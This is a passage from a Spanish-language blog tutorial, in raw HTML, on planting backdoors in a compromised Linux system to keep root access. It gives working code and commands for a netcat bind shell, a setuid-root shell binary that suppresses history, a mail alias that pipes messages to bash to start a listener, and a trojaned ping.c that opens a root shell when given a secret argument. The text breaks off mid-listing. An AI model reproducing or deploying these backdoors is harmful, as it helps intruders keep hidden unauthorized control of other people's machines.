type='text'>Abriendo una puerta trasera: algunos métodos con más o menos dificultad</title><content type='html'>&lt;o:p&gt;&lt;/o:p&gt;    &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;Cuando un &lt;i style=""&gt;hacker&lt;/i&gt; penetra en un sistema debido a una falla de seguridad, o cuando momentáneamente poseemos privilegios de &lt;i style=""&gt;root,&lt;/i&gt; muchas veces se tiene la necesidad de “garantizar” un posible retorno a dicho sistema. Existen varios métodos para crear lo que se llama una &lt;i style=""&gt;puerta trasera o backdoor &lt;/i&gt;por la que se pueda acceder a él. A continuación os explicaré unos cuantos más o menos complicados.  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;El método más simple para crear una puerta trasera es mediante la utilización de Netcat. &lt;a name="introduccion"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;Netcat es una herramienta GNU la cual nos permite leer y escribir a través de conexiones de red utilizando los protocolos TCP o UDP. &lt;/span&gt;&lt;/p&gt;    &lt;p class="MsoNormal"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Pues bien Netcat nos ofrece una opción “-e” la cual nos asocia un programa a la conexión que establecemos:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;&lt;pre&gt;&lt;span style="" lang="EN-GB"&gt;$ nc -l&lt;span style=""&gt;  &lt;/span&gt;localhost -p 1234 -e /bin/bash&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Ésta es sin duda, la forma más simple que conozco para crear una puerta trasera. Solamente necesitaríamos establecer conexión mediante telnet a máquina comprometida al puerto 1234 y obtendríamos una shell.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Los 2 siguientes métodos que os voy a describir son un tanto anticuados, pero por eso no dejan de ser curiosos.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Para éste &lt;i style=""&gt;backdoor&lt;/i&gt;, emplearemos un poco de programación en &lt;i style=""&gt;C&lt;/i&gt;. Para ello, haremos uso de éste simple programa, os recuerdo que para que este código funcione deberéis ser usuario &lt;i&gt;root.&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;#include   &amp;lt;unistd.h&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;#include   &amp;lt;stdlib.h&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;main   (){&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;char   *cad[2];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;cad[0]="/bin/bash";&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;cad[1]=NULL;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;unsetenv("HISTSIZE");   //eliminamos el historial&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;setuid(0);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;setgid(0);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;execve(cad[0],   cad, NULL);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span style="font-size:10;"&gt;return 0;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span style="font-size:10;"&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Compilamos el código: &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;i&gt;&lt;span style="" lang="EN-GB"&gt;$ gcc back.c –o back&lt;/span&gt;&lt;/i&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Una vez compilado, deberemos activar el bit de setuid del fichero resultante de la compilación de este modo: &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;i&gt;$ chmod +s back&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Así, si entramos al sistema como un usuario normal, nada más tendremos que ejecutar el &lt;i&gt;./back&lt;/i&gt; para obtener privilegios de &lt;i&gt;root.&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;En éste método haremos uso del fichero &lt;i style=""&gt;/etc/aliases o /etc/mail/aliases &lt;/i&gt;en el cual se encuentran todas las redirecciones a las cuentas de correo creadas en el sistema, el fichero tiene esta estructura:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;usenet:&lt;span style=""&gt;         &lt;/span&gt;news&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;ftpadm:&lt;span style=""&gt;         &lt;/span&gt;ftp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;ftpadmin:&lt;span style=""&gt;       &lt;/span&gt;ftp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;ftp-adm:&lt;span style=""&gt;        &lt;/span&gt;ftp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;ftp-admin:&lt;span style=""&gt;      &lt;/span&gt;ftp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;hostmaster:&lt;span style=""&gt;     &lt;/span&gt;root&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;mail:&lt;span style=""&gt;           &lt;/span&gt;postmaster&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span style="font-size:10;"&gt;postman:&lt;span style=""&gt;        &lt;/span&gt;postmaster&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span style="font-size:10;"&gt;post_office:&lt;span style=""&gt;    &lt;/span&gt;postmaster&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Como se puede ver, se redirigen los mails que llegan a las cuentas de la izquierda a las de la derecha. Siguiendo este formato, es posible redirigir también un mensaje a una instrucción de shell:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span style="font-size:10;"&gt;post_office:&lt;span style=""&gt;   &lt;/span&gt;“|/bin/bash”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;También podríamos redirigir el correo a cualquier otro comando. Ahora, solamente tenemos que enviar un correo especialmente formado para que al enviarlo a la cuenta &lt;i style=""&gt;post_office&lt;/i&gt; se procese línea a línea por la shell. El correo podría tener este aspecto:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;#!/bin/bash&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;nc –l –e /bin/bash –p 6969   &gt; /dev/null 2&gt;&amp;amp;1 &amp;amp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Los métodos mostrados hasta ahora podríamos decir que son un tanto antiguos y aunque hoy en dia están en desuso, sería difícil que actualmente funcionaran aunque nos podrían servir para salir del paso.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;i style=""&gt;Creación de puertas traseras a partir de la modificación de utilidades comunes de administración:&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Una forma válida para crear una puerta trasera más o menos discreta, es hacer uso de aplicaciones de uso corriente y que contengan por defecto el bit &lt;i style=""&gt;SUID &lt;/i&gt;activado. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Podemos utilizar por ejemplo la utilidad &lt;i style=""&gt;ping&lt;/i&gt; que se utiliza para testar conexiones mediante el protocolo ICMP. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Para poder modificar esta utilidad, necesitaremos obtener sus fuentes. Podemos encontrarlas en esta dirección &lt;a href="http://mrtg.planetmirror.com/pub/ip-routing/iputils-current.tar.gz"&gt;http://mrtg.planetmirror.com/pub/ip-routing/iputils-current.tar.gz&lt;/a&gt; . &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Una vez descargado y descomprimido, localizaremos el fichero correspondiente a &lt;i style=""&gt;ping (ping.c).&lt;/i&gt; Abrimos el fichero y nos centraremos en la función main:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;            &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal" style="text-indent: 27pt;"&gt;&lt;span style="" lang="EN-GB"&gt;…&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;main(int   argc, char **argv)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;struct hostent *hp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;int ch, hold, packlen;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;int socket_errno;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;u_char *packet;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;char *target,   hnamebuf[MAXHOSTNAMELEN];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;char rspace[3 + 4 * NROUTES +   1];&lt;span style=""&gt;       &lt;/span&gt;/* record route space */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;icmp_sock = socket(AF_INET, SOCK_RAW,   IPPROTO_ICMP);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;socket_errno = errno;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;uid = getuid();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;setuid(uid);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;source.sin_family = AF_INET;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:10;"&gt;preload = 1;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-indent: 35.4pt;"&gt;&lt;span style="font-size:10;"&gt;…&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal" style="text-indent: 35.4pt;"&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;Como vemos, las lineas:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span style="font-size:10;"&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span style="font-size:10;"&gt;uid = getuid();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="font-size:10;"&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;setuid(uid);&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Provocan que se pierdan los privilegios de root y se asignen los del usuario actual al programa. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal" style="margin-left: 36pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;if   (strcmp(“skarvin”, argv[1])==0){&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 36pt; text-indent: 35.4pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;char *cad[2];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 36pt; text-indent: 17.4pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;cad[0]="/bin/bash";&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 36pt; text-indent: 17.4pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;cad[1]=NULL;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 36pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;               &lt;/span&gt;setuid(0);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 36pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;               &lt;/span&gt;setgid(0);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 36pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;               &lt;/span&gt;unsetenv(“HISTFILE”); &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 36pt; text-indent: 17.4pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;execve(cad[0], cad, NULL);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 36pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal" style="margin-left: 36pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Por lo que el código principal de la main en &lt;i style=""&gt;ping.c &lt;/i&gt;quedará de esta forma:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal" style="text-indent: 27pt;"&gt;&lt;span style="" lang="EN-GB"&gt;…&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  